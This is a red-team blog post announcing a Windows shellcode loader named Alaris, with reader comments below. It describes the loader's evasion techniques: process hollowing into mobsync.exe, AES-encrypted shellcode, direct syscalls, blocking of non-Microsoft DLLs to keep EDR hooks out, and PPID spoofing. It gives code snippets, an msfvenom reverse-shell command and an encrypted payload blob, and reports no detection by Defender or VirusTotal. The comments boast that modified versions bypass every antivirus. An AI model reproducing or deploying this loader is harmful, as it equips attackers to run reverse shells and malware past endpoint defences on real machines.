Alaris | A Protective Loader
Contents
To date, we’ve reviewed techniques such as shellcode loading and encryption, circumventing detection, and building in our own syscalls.
Today, I’m releasing Alaris, a new shellcode loader that will utilize many of the previous techniques discussed within this blog as well as add a few new ones. We’re going to use known and widely used tactics that I, and many other Red Teams, have been using for a while. The best documentation (easiest to digest and implement) on many of these TTPs is available on ired.team. I will include documentation/links everywhere in this post.
The primary goal of this loader is proactive protection and self-sufficiency. I want to rely mostly on the code we write for the heavy (malicious) lifting. With that said, I am still going to use extraordinarily helpful libraries such as windows.h
and vectors
. However, the more self-sufficient we become and the lower we execute our code, the less noise we make and that’s a damn good thing as seen within the detection portion of this post.
Overview
In efforts to help mitigate any issues on your end, here are my development environment specifics.
- System: Windows 10 (Build 17763)
- IDE: Visual Studio 2019
- Language: C, C++, x86 ASM (VS19 Project is Visual C++)
- Loader.cpp – Shellcode Loader
- Cryptor.cpp – Shellcode Encryption
Alaris is a shellcode loading application utilizing the Process Hollowing technique. There are going to be two (2) distinct processes that we’ll start and analyze. In the graphic below I detail both of the processes where Red is the loader process and Green is the hollowed (child) process.
- The Parent Process [
loader.exe
]: This is the process that is going to decode, decrypt, and add the shellcode to a hollowed process.- Shellcode decryption via aes.c (AES -CBC 256)
- Shellcode decoding via base64.cpp
- Direct x86 Syscalls via low.asm (Thanks to SysWhipers) using
NtQueueApcThread()
to add shellcode. - Disallow non-Microsoft signed DLL’s from injecting into process.
- The Hollowed (Child) Process [
mobsync.exe
]:TheCreateProcess()
Child process. We’re usingmobsync.exe
here but there are many different executables you can use.
Protecting Our Malware
There are several tactics we’re using to not only protect our initial execution but also our child (hollowed) process. Let’s go through each of them at a pretty high level.
Shellcode Encryption
Within this loader is an embedded AES (128, 192, 256) (ECB, CTR, CBC) implementation. Not relying on Windows Crypto API’s or known libraries, such as Crypto++, helps limit our noise and overall footprint.
We’re encrypting our shellcode with AES-CBC 256. The key and iv live in the code and are not obfuscated, encoded, etc. The primary purpose of encrypting our shellcode is to defeat static signature based detection (i.e., \xFC\xE8, \xFC\x48). We’re not going to bypass entropy detection or the good job Windows Defender does at analyzing large Base64 blobs with high entropy. However, if we used a staged payload or a small payload, we can circumvent most EDR systems simply by encrypting our shellcode.
All Shellcode encryption is done via Cryptor.exe
which, is part of the Visual Studio project.
Direct x86 Syscalls
Direct Syscalls allow us to mitigate using ntdll.dll
for a large majority of the process hollowing. We’re executing the syscalls ourselves via x86 assembly located in low.asm
and as such, we’re staying quieter and executing our code at a lower level. This significantly decreases the likelihood of detection.
I’ve gone pretty deep into direct x86 Syscalls for Process Injection using both CreateRemoteThread()
and QueueUserAPC()
in these two posts:
Preventing 3rd Party DLLs from Injecting into your Malware
We’re blocking all non-Microsoft DLL’s (i.e.,DLL’s that have not been signed my Microsoft) from hooking/injecting into our process (Both the Parent and Child). Keep in mind, there are a few EDR solutions out there that have co-signed drivers (Company + Microsoft). To get a better understanding on how this works and why, I would suggest reading iread.team’s write up.
1 2 3 4 5 6 |
// Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess(): InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size); DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); |
1 2 3 4 5 6 |
// Disallow non-MSFT signed DLL's from injecting PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {}; sp.MicrosoftSignedOnly = 1; SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp)); |
PPID Spoofing
We’re spoofing the parent process ID of our child process (hollowed process). We want to make it look like this process was spawned organically (explorer.exe -> mobsync.exe
) rather than the true path of execution (loader.exe -> mobsync.exe
).
This is a fairly simple technique that I find is more fun for the Blue Team to find than it is really helping me to be sneaky. However, it’s still a bit sneaky considering at first glance, it does look like our execution path is not suspect and may blow past the radar of some teams.
Overwrite Shellcode
This is not full proof and will not stop many Blue Teams from dumping your shellcode if they get a hold of your binary. This is simply a cleanup method to remove your shellcode from memory as good measure.
Alaris Build & Execution
Let’s walk through the build and execution path from start to shell. I’ve generated a simple reverse shell with msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f raw >> 64b_443_localhost_revshell.bin
Building
- Included in this package is a cryptor. To encrypt, simply build the Visual Studio project as-is and execute
cryptor.exe
with the path of a raw (binary) shellcode file.
1 2 3 4 5 6 7 8 9 10 |
λ cryptor.exe Usage: cryptor.exe <payload.bin> Example cryptor.exe C:\Users\admin\shellcode.bin λ cryptor.exe ..\..\..\test\64b_443_localhost_revshell.bin [i] Replace shellcode string in loader with one below: shellcode = "z33lrIYAG7pcIAZfrX7cRKLyNwr1w+zD1pSGQXA/0emhQBn2C1z5SjOjyGu5FL2Wrq3xADX+MDyaZs/F8BIBXcqPK1TFdESehzl8uO8+NT+Mda0BjZSGUcd0qs3PO4klwSOhSDrlTUhjCe9+7QoaFc8g0yTIGiAP674VA6URsKd9y0szNTBgSgn/L6gB2WpfGQ4UBaHGDiQ8GwrzedHh/eTbhZtS2/9HEoVqkoAqG2gts1rWt4ckzvEJRM8v4zJxLzMEtNnf3e9TBaG1CNfWCWg+SPIfW2L6SLUA16EadwwSihhKk84KGQyTEgQ9Ue1/VMt30TREUC46P3IvidPVG6LgIQs5pHXYEPPBBV2vCufLCQ3F6ChFwMhZJvzRF/30P6+POoyFAMHvwSrebSGiliwWgrqcAvRPuWxcu3T5DdqEXoDzESk75W8n4kGZWI3cgiVvDpTt3vFST2gdW7j2ri75T0P5Ut1HWAxGr75ir68RX4HB8Mli78eP6UcLuFHULrz5W0tpA3yyefUapF7mK+gGbuFZ6pyLRrkG2XWLmo1Ji1/2yGzuHQ0Q4HacssCuN/peqkKbm++unMiu/D3lGlH2KGdCBhBEubVULKFFvZ0="; |
- Replace the
shellcode
variable in the main function ofloader.cpp
with the newshellcode
variable generated bycryptor.exe
- Build a Release version.
Execution
I’m using Process Hacker to review both the Parent and Child (hollowed) processes. Let’s fist take a look at the Parent process attributes.
The image below shows details of the loader.exe
process. We can verify that our DLL Signature requirement, which disallows all non-Microsoft signed DLL’s from injecting into our process, is enabled.
Moving into the
mobsync.exe
process generated by our CreateProcess()
call we can verify that the PPID is in-fact explorer.exe
due to our spoofing and we have 3rd party DLL injection blocking similar to loader.exe
.
EDR Bypass and Detection Analysis
I generated two (2) Alaris loaders with different MSFVenom payloads:
loader_rev.exe
– Compiled with a reverse shell (127.0.0.1:443)loader_notepad.exe
– Compiled with shellcode that executesnotepad.exe
Sysmon Events
Sysmon generated five (5) events during loader_rev.exe
execution. We do not see suspect process injection events due to us using NtQueueUserAPC()
. If we were to use NtCreateRemoteThread()
, we would see a Sysmon Event Type 8.
There are two (2) process creates. One for Loader and the other for modsync.exe
executing the shellcode.
The interesting thing here is that the second Process Create does not explicitly call out mobsync.exe
being executed. Instead, it detailed mobsync.exe
as being the parent process and shows the shellcode executed via cmd
within the CommandLine field. This must be a byproduct of the process hollowing but, I am not 100% on why just yet.
Bypassing Defender
Executing loader_notepad.exe
on a updated and fully patched Windows 10 system did not result in any detection’s from Defender. The results were identical with loader_rev.exe
.
Virus Total
I tested both versions of Alaris against Virus Total to get a better idea on the overall detection / suspect percentage and did not have any. This is possibly a symptom of not having common indicators such as a URI string or an IP address (other than 127.0.0.1) embedded in either the shellcode or the source.
Detection
Alaris
Tactics
Conclusion
The TTPs used within Alaris are common among Red Teams and used within several C2 frameworks (Cobalt Strike for example). Alaris is a simple and small example of how you can customize these tactics to circumvent several different detection mechanisms as well as make your code look more “legitimate” in the context of Microsoft applications.
anon
March 15, 2021at6:35 amI guess is only to Windows Defender because Kaspersky detects these methods on execution.
Anyway thanks for your post, it’s amazing.
t3rt
April 16, 2022at6:22 pmAlaris is the best!!!
If you know what you are doing,you can easily modify source code from alaris and bypass “every” AV.
You can’t expect that an open source project can finish all your task.You have to put some effort to it and make it better.
By the way,the modified version of alaris can bypass Kaspersky fully!!!!!